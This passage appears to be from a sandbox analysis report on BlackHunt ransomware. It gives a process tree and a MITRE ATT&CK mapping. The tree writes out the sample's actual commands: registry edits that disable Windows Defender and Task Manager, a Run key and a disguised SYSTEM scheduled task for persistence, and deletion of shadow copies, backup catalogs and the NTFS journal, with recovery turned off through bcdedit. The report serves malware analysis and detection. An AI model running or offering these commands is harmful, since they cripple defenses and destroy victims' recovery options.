  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:1096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:4316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:5032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:8
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4364
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe" /F
  2⤵
  PID:4032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:392
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4660
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2748
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1980
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1088
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3904
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4572
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:6028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4768
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  - Adds Run key to start application
  PID:4316
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:6128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3924
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:6016

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1628

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5516

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3236

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery